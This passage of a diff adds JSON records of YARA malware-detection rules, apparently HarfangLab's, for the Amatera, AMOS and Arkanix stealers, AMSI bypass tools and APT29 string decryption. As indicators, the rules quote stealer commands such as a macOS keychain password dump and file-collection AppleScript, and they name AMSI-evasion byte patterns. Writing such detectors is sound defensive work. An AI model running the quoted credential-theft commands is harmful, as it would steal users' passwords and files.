+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-amatera_stealer_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583602Z",
+  "creation_date": "2026-03-23T11:46:25.583604Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583610Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://x.com/solostalking/status/1907320756595220710"
+  ],
+  "name": "amatera_stealer.yar",
+  "content": "rule amatera_stealer {\n    meta:\n        title = \"Amatera Stealer\"\n        id = \"b898dab1-afcf-4536-acca-0ba6bd5d24cc\"\n        description = \"Detects Amatera, a Malware-as-a-Service stealer available for purchase in hacker forums.\\nAmatera stealer is a new credential stealer used in cyberattacks.\\nIt exhibits anti-analysis behavior such as virtualization environment detection.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://x.com/solostalking/status/1907320756595220710\"\n        date = \"2025-06-02\"\n        modified = \"2025-07-02\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1555;attack.exfiltration;attack.defense_evasion\"\n        classification = \"Windows.Stealer.Amatera\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"weak\"\n    strings:\n        // Detection for this sample:\n        // fa3c4166e792a74c179c401745390f79ebfa203be63c8d107abaa1b2585b67d9\n\n        $str00 = \"CheckRemoteDebuggerPresent\"\n        $str01 = \"VirtualBox\"\n        $str02 = \"VMware\"\n        $str03 = \"QEMU\"\n        $str04 = \"Hyper-V\"\n        $str05 = \"BIOSVendor\"\n        $str06 = \"HARDWARE\\\\DESCRIPTION\\\\System\\\\BIOS\"\n        $str07 = \"/core/createSession\"\n        $str08 = \"/core/sendPart\"\n        $str09 = \"%appdata%\\\\Telegram Desktop\\\\tdata\" wide\n    condition:\n        9 of ($str*)\n}",
+  "rule_count": 1,
+  "rule_names": [
+    "amatera_stealer"
+  ],
+  "rule_creation_date": "2025-06-02",
+  "rule_modified_date": "2025-07-02",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.Amatera"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-amos_stealer_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575352Z",
+  "creation_date": "2026-03-23T11:46:25.575354Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575360Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/osx.amos\nhttps://www.malwarebytes.com/blog/threat-intelligence/2023/11/atomic-stealer-distributed-to-mac-users-via-fake-browser-updates\nhttps://blog.kandji.io/amos-macos-stealer-analysis"
+  ],
+  "name": "amos_stealer.yar",
+  "content": "rule amos_stealer {\n    meta:\n        title = \"AMOS Stealer\"\n        id = \"9a0c7421-0691-4e17-8dfc-dd143cbf2835\"\n        description = \"Detects AMOS Stealer, also known as Atomic Stealer, first seen in early 2023.\\nThis stealer targets Apple users by distributing fake browser update pop-ups, tricking them into installing the infostealer on their Macs.\\nAMOS can exfiltrate a wide range of sensitive data, including keychain passwords, user documents, system information, cookies, browser data, credit card details, cryptocurrency wallets, and more.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/osx.amos\\nhttps://www.malwarebytes.com/blog/threat-intelligence/2023/11/atomic-stealer-distributed-to-mac-users-via-fake-browser-updates\\nhttps://blog.kandji.io/amos-macos-stealer-analysis\"\n        date = \"2024-03-05\"\n        modified = \"2025-03-12\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1082;attack.t1217;attack.execution;attack.t1059.002;attack.collection;attack.t1056.002;attack.credential_access;attack.t1555.003\"\n        classification = \"MacOS.Stealer.Amos\"\n        context = \"process,memory,file.macho\"\n        os = \"MacOS\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // c579574973b9d47adc6be38027972ca585bbf08d1f27cdafc3d3df22a944eedd\n        // 6379fc90b0fafcd003db83735181905ad71e7cea3d9e1808ac6183fbb46e5f0b\n        // 9eab45c146b233c46ffd1f3541b4bb89352b1769dc444dcc320f1f69afc0cd6e\n        // c27f5d8ab85120fd63b9bc3817f855b3fd47f05b115da829cb700b4da6c49eff\n\n        $s1 = \"ditto -c -k --sequesterRsrc --keepParent\" ascii fullword\n        $s2 = \"/Sysinfo.txt\" ascii fullword\n        $s3 = \"=== Graphics Info ===\" ascii fullword\n        $s4 = \"dscl /Local/Default -authonly \" ascii fullword\n        $s5 = \"security 2>&1 > /dev/null find-generic-password -ga 'Chrome' | awk '{print $2}'\" ascii fullword\n        $s6 = \"set srcFiles to every file of desktopFolder whose name extension is in {\\\"txt\\\", \\\"rtf\\\", \\\"doc\\\", \\\"docx\\\", \\\"xls\\\", \\\"key\\\", \\\"wallet\\\", \\\"jpg\\\", \\\"png\\\", \\\"web3\\\", \\\"dat\\\"}\" ascii fullword\n        $s7 = \"Binance Chain Wallet\" ascii fullword\n\n        $t1 = \"osascript -e '\" ascii fullword\n        $t2 = \"6f7361736372697074202d65202774656c6c206170706c69636174696f6e20225465726d696e616c2220746f20636c6f73652066697273742077696e646f772720262065786974\" ascii fullword\n\n        $xor = {\n            48 83 F8 ??                   // cmp     rax, 3\n            74 12                         // jz      short loc_100005672\n            8A 8D ?? ?? FF FF             // mov     cl, [rbp+var_120]\n            30 8C 05 ?? ?? FF FF          // xor     [rbp+rax+var_120], cl\n            48 FF C0                      // inc     rax\n            EB E8                         // jmp     short loc_10000565A\n        }\n\n        $strtol_x64 = {\n            4C 89 FF                      // mov     rdi, r15        ; __str\n            31 F6                         // xor     esi, esi        ; __endptr\n            BA 10 00 00 00                // mov     edx, 10h        ; __base\n            E8 ?? ?? ?? 00                // call    _strtol\n            41 88 45 00                   // mov     [r13+0], al\n            48 83 C3 02                   // add     rbx, 2\n            49 83 C5 01                   // add     r13, 1\n            48 81 FB 8C 00 00 00          // cmp     rbx, 8Ch\n        }\n\n        $strtol_arm = {\n            01 00 80 D2                   // MOV             X1, #0  ; __endptr\n            02 02 80 52                   // MOV             W2, #0x10 ; __base\n            ?? ?? 00 94                   // BL              _strtol\n            C0 16 00 38                   // STRB            W0, [X22],#1\n            88 0A 00 91                   // ADD             X8, X20, #2\n            9F 32 02 F1                   // CMP             X20, #0x8C\n            F4 03 08 AA                   // MOV             X20, X8\n        }\n\n    condition:\n        5 of ($s*) or\n        all of ($t*) or\n        #xor > 80 or\n        1 of ($strtol_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "amos_stealer"
+  ],
+  "rule_creation_date": "2024-03-05",
+  "rule_modified_date": "2025-03-12",
+  "rule_os": [
+    "macos"
+  ],
+  "rule_classifications": [
+    "MacOS.Stealer.Amos"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access",
+    "attack.discovery",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1056.002",
+    "attack.t1555.003",
+    "attack.t1059.002",
+    "attack.t1082",
+    "attack.t1217"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "memory",
+    "file.macho",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-amsi_bypass_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571623Z",
+  "creation_date": "2026-03-23T11:46:25.571625Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571631Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "Internal Research"
+  ],
+  "name": "amsi_bypass.yar",
+  "content": "rule amsi_bypass_x64 {\n    meta:\n        title = \"AMSI Bypass Generic Tool\"\n        id = \"36d180f2-8dc2-45a7-b1b0-07208afbcfc8\"\n        description = \"Detects a generic method used to bypass the Windows Anti Malware Scanning Interface (AMSI).\\nThis rule identifies a common technique used to evade AMSI detection by searching for specific signatures in memory. The bypass method involves a search loop that looks for AMSI-related identifiers and attempts to avoid detection by modifying or obfuscating its presence.\\nThis technique can be part of various malicious activities aimed at subverting antivirus and endpoint protection mechanisms.\\nIt is recommended investigate for additional signs of malicious behavior on the host.\"\n        references = \"Internal Research\"\n        author = \"HarfangLab\"\n        date = \"2021-03-29\"\n        modified = \"2025-03-06\"\n        tags = \"attack.defense_evasion;attack.t1562.001;attack.t1562.006\"\n        classification = \"Windows.Generic.AMSIBypass\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        $amsi_bypass_search_loop = {\n                              // amsi_bypass_search_signature:\n            81 39 41 4D 53 49 // cmp dword ptr [rcx], 0x49534d41\n            74 11             // je found_amsi_signature\n            48 FF C1          // inc rcx\n            48 8D 04 0A       // lea rax, [rdx + rcx]\n            48 3D 00 01 00 00 // cmp rax, 0x100\n            7C E9             // jl amsi_bypass_search_signature\n            EB 0?             // jmp 0x0X\n                              // found_amsi_signature:\n                              // ...\n        }\n\n        $s1 = \"AmsiBypass.pdb\" ascii\n        $s2 = \"AmsiBypass\" ascii wide\n        $s3 = \"AmsiScanBuffer\" ascii wide\n\n    condition:\n        $amsi_bypass_search_loop or (all of ($s*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "amsi_bypass_x64"
+  ],
+  "rule_creation_date": "2021-03-29",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.AMSIBypass"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001",
+    "attack.t1562.006"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-amsi_reaper_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.588347Z",
+  "creation_date": "2026-03-23T11:46:25.588349Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.588355Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/h0ru/AMSI-Reaper/\nhttps://attack.mitre.org/techniques/T1562/004/"
+  ],
+  "name": "amsi_reaper.yar",
+  "content": "rule amsi_reaper {\n    meta:\n        title = \"AMSI Reaper HackTool\"\n        id = \"522f24a4-61f9-4674-985d-057910ebf35c\"\n        description = \"Detects the AMSI Reaper tool.\\nAMSI Reaper prevents Windows AMSI from scanning specified processes by patching the address of the AmsiOpenSession function in amsi.dll.\\nIt is recommended to investigate for suspicious activities around this alert.\"\n        references = \"https://github.com/h0ru/AMSI-Reaper/\\nhttps://attack.mitre.org/techniques/T1562/004/\"\n        date = \"2024-02-06\"\n        modified = \"2025-11-24\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001;attack.t1562.006\"\n        classification = \"Windows.HackTool.AMSIReaper\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 9dc0204abf0679322e9aca39dcb3d5ea6f216c293b964aaa09b8d3206b8cd312\n\n        $s_gen_1 = \"amsi.dll\" wide fullword\n        $s_gen_2 = \"AmsiOpenSession\" wide fullword\n        $s_gen_3 = \"powershell\" wide fullword\n\n        $s_fatal_1 = \"AMSI-Reaper\" wide\n        $s_fatal_2 = \"AMSI-Reaper\" ascii\n        $s_fatal_3 = \"[!] Injection process PowerShell with PID:\" wide\n        $s_fatal_4 = \"ModAMSI\" ascii fullword\n        $s_fatal_5 = \"PatchAllPowershells\" ascii fullword\n\n        // AMSIReaper.OpenProcess(56, false, (int)processId);\n        $open_process = {\n            1F38         // ldc.i4.s  56\n            16           // ldc.i4.0\n            02           // ldarg.0\n            28           // call      native int AMSIReaper::OpenProcess(int32, bool, int32)\n        }\n\n    condition:\n        all of ($s_gen_*) and $open_process and 1 of ($s_fatal_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "amsi_reaper"
+  ],
+  "rule_creation_date": "2024-02-06",
+  "rule_modified_date": "2025-11-24",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.AMSIReaper"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001",
+    "attack.t1562.006"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-apt29_string_decryption_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569585Z",
+  "creation_date": "2026-03-23T11:46:25.569587Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569592Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://live.paloaltonetworks.com/t5/blogs/diplomats-beware-cloaked-ursa-phishing-with-a-twist/ba-p/549960\nhttps://www.mandiant.com/resources/blog/apt29-evolving-diplomatic-phishing"
+  ],
+  "name": "apt29_string_decryption.yar",
+  "content": "rule apt29_string_decryption {\n    meta:\n        title = \"APT29 String Decryption\"\n        id = \"1a004524-5257-45de-aff4-f6681cd6321c\"\n        description = \"Detects the string encryption algorithms used by APT29 in its final payload.\\nThe final payload is injected inside a remote process like sihost.exe.\\nThis pattern was observed in 2023 during a campaign targeting diplomatic missions globally as part of the Turkey Campaign.\\nThe initial access vector for this activity is typically a phishing lure.\"\n        references = \"https://live.paloaltonetworks.com/t5/blogs/diplomats-beware-cloaked-ursa-phishing-with-a-twist/ba-p/549960\\nhttps://www.mandiant.com/resources/blog/apt29-evolving-diplomatic-phishing\"\n        date = \"2023-10-03\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1204.002;attack.defense_evasion;attack.t1140;attack.t1055;attack.command_and_control;attack.t1102\"\n        classification = \"Windows.Backdoor.APT29\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // bbf9f384a56a1108eaf820ef5bfed7cfbabc102e493f5b022b4931b57c72351a\n\n        $decrypt_string = {\n            41 8A (C8|C9)                 // mov     cl, r9b\n            (80 E1 07|4? 22 C?)           // and     cl, 7\n                                          // and     cl, sil\n            C0 E1 03                      // shl     cl, 3\n            4? 8B C?                      // mov     r8, rbx\n            (48|49) D3 E8                 // shr     r8, cl\n            4? 30 04 (01|08)              // xor     [r9+rax], r8b\n            4D 03 C?                      // add     r9, r12\n            49 83 (F8|F9) ??              // cmp     r9, 9\n            72 E4                         // jb      short loc_41F79\n        }\n\n    condition:\n        #decrypt_string > 50\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "apt29_string_decryption"
+  ],
+  "rule_creation_date": "2023-10-03",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Backdoor.APT29"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1204.002",
+    "attack.t1102",
+    "attack.t1055"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-arkanix_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.589188Z",
+  "creation_date": "2026-03-23T11:46:25.589190Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.589196Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.gdatasoftware.com/blog/2025/12/38306-arkanix-stealer\nhttps://www.esecurityplanet.com/threats/rapidly-evolving-arkanix-stealer-hits-credentials-and-wallets/"
+  ],
+  "name": "arkanix.yar",
+  "content": "rule arkanix {\n    meta:\n        title = \"Arkanix Stealer\"\n        id = \"839c6151-dac0-47e7-a7c1-97286a758b3d\"\n        description = \"Detects Arkanix Stealer, an evolving C++ information-stealing malware used to collect sensitive data and credentials from infected hosts.\\nIt is recommended to investigate the context around this alert for signs of credential theft and data exfiltration.\"\n        references = \"https://www.gdatasoftware.com/blog/2025/12/38306-arkanix-stealer\\nhttps://www.esecurityplanet.com/threats/rapidly-evolving-arkanix-stealer-hits-credentials-and-wallets/\"\n        date = \"2025-12-18\"\n        modified = \"2026-02-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.initial_access;attack.t1204.002;attack.execution;attack.t1059.006;attack.credential_access;attack.t1555;attack.t1555.003;attack.collection;attack.exfiltration\"\n        classification = \"Windows.Stealer.Arkanix\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 1a0844e0227dda3691d13bbf9233a64ac67d5ba828563725d857259686b219d4\n        // 414d7ec11ad5ad3735640aa48c44fe4a55dc2c2d553a9d9b1a84f79eb1f0b54d\n        // c76968927c96de27766d5f91520d41c1640f475fc4ee57539d39786b15105eb9\n\n        $stub_extract_wifi_info = {\n            0F 57 C0                     // xorps   xmm0, xmm0\n            0F 11 01                     // movups  xmmword ptr [rcx], xmm0\n            45 33 ED                     // xor     r13d, r13d\n            4C 89 29                     // mov     [rcx], r13\n            4C 89 69 08                  // mov     [rcx+8], r13\n            4C 89 69 10                  // mov     [rcx+10h], r13\n            45 8D 65 01                  // lea     r12d, [r13+1]\n            44 89 64 24 40               // mov     [rsp+340h+var_300], r12d\n            4C 89 AD [4]                 // mov     [rbp+240h+phClientHandle], r13\n            44 89 AD [4]                 // mov     [rbp+240h+pdwNegotiatedVersion], r13d\n            4C 8D 8D [4]                 // lea     r9, [rbp+240h+phClientHandle] ; phClientHandle\n            4C 8D 85 [4]                 // lea     r8, [rbp+240h+pdwNegotiatedVersion] ; pdwNegotiatedVersion\n            33 D2                        // xor     edx, edx        ; pReserved\n            8D 4A 02                     // lea     ecx, [rdx+2]    ; dwClientVersion\n        }\n\n        $stub_wifi_get_profile = {\n            48 69 C8 04 02 00 00         // imul    rcx, rax, 204h\n            4C 8D 42 08                  // lea     r8, [rdx+8]\n            4C 03 C1                     // add     r8, rcx         ; strProfileName\n            48 8D 85 [4]                 // lea     rax, [rbp+240h+var_DC]\n            48 89 44 [2]                 // mov     [rsp+340h+pdwGrantedAccess], rax ; pdwGrantedAccess\n            48 8D 85 [4]                 // lea     rax, [rbp+240h+var_D8]\n            48 89 44 [2]                 // mov     [rsp+340h+pdwFlags], rax ; pdwFlags\n            48 8D 85 [4]                 // lea     rax, [rbp+240h+var_158]\n            48 89 44 [2]                 // mov     [rsp+340h+pstrProfileXml], rax ; pstrProfileXml\n            45 33 C9                     // xor     r9d, r9d        ; pReserved\n            48 8B D7                     // mov     rdx, rdi        ; pInterfaceGuid\n            48 8B 8D                     // mov     rcx, [rbp+240h+phClientHandle] ; hClientHandle\n        }\n\n        $stub_extract_password_wifi = {\n            48 83 C2 20                  // add     rdx, 20h ; ' '\n            48 03 D7                     // add     rdx, rdi\n            4C 8B 42 10                  // mov     r8, [rdx+10h]\n            4C 39 7A 18                  // cmp     [rdx+18h], r15\n            76 03                        // jbe     short loc_14009C4BA\n            48 8B 12                     // mov     rdx, [rdx]\n            48 8B C8                     // mov     rcx, rax\n        }\n\n        $stub_extract_ssid_wifi = {\n            48 8B FB                     // mov     rdi, rbx\n            48 C1 E7 07                  // shl     rdi, 7\n            48 8B [4-6]                  // mov     rdx, qword ptr [rsp+0C58h+wifi_info_extracted]\n            48 03 D7                     // add     rdx, rdi\n            4C 8B 42 10                  // mov     r8, [rdx+10h]\n            4C 39 7A 18                  // cmp     [rdx+18h], r15\n            76 03                        // jbe     short loc_14009C487\n            48 8B 12                     // mov     rdx, [rdx]\n            48 8B C8                     // mov     rcx, rax\n        }\n\n\n        $stub_encrypt_string = {\n            8A C1                        // mov     al, cl\n            42 32 84 21 [4]              // xor     al, [rcx+r12+127178h]\n            32 C2                        // xor     al, dl\n            88 44 0C 68                  // mov     byte ptr [rsp+rcx+578h+var_510], al\n            48 FF C1                     // inc     rcx\n            48 83 F9 09                  // cmp     rcx, 9\n            73 06                        // jnb     short loc_1400B567F\n        }\n\n        $str_00 = \"C:\\\\ArkanixData\" ascii fullword\n        $str_01 = \"ARKANIX STEALER - BROWSER PASSWORDS\" ascii fullword\n        $str_02 = \"ARKANIX STEALER - BROWSER COOKIES\" ascii fullword\n        $str_03 = \"ARKANIX STEALER - BROWSER AUTOFILL DATA\" ascii fullword\n        $str_04 = \"ARKANIX STEALER - CREDIT CARDS\" ascii fullword\n        $str_05 = \"arkanix_secret_key_\" ascii fullword\n        $str_06 = \"ArkanixStealer/1.0\" ascii fullword\n        $str_07 = \"ARKANIX STEALER - SYSTEM INFORMATION\" ascii fullword\n        $str_08 = \"ArkanixStealer/2.0\" ascii fullword\n        $str_09 = \"arkanix_data.zip\" ascii fullword\n        $str_10 = \"Arkanix C++ Stealer initialized\" ascii fullword\n        $str_11 = \"Arkanix Screenshot\" ascii fullword\n        $str_12 = \"ArkanixDebug/1.0\" ascii fullword\n        $str_13 = \"----ArkanixBoundary\" ascii fullword\n        $str_14 = \"Arkanix/1.0\" ascii fullword\n        $str_15 = \"Arkanix Stealer Debug\" ascii fullword\n        $str_16 = \"Arkanix Screenshot\" ascii fullword\n        $str_17 = \"Failed to extract chromelevator from resources!\" ascii fullword\n        $str_18 = \"Data extracted via chromelevator.exe\" ascii fullword\n        $str_19 = \"Executing chromelevator.exe for\" ascii fullword\n        $str_20 = \"CHROMELEVATOR START\" ascii fullword\n        $str_21 = \"chromelevator.exe execution failed for\" ascii fullword\n        $str_22 = \"Extracted chromelevator from resources\\n\" ascii fullword\n\n    condition:\n        1 of ($stub*) or 4 of ($str_*)\n}",
+  "rule_count": 1,
+  "rule_names": [
+    "arkanix"
+  ],
+  "rule_creation_date": "2025-12-18",
+  "rule_modified_date": "2026-02-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.Arkanix"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access",
+    "attack.execution",
+    "attack.exfiltration",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.006",
+    "attack.t1555",
+    "attack.t1555.003",
+    "attack.t1204.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-asyncrat_client_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.574614Z",
+  "creation_date": "2026-03-23T11:46:25.574616Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
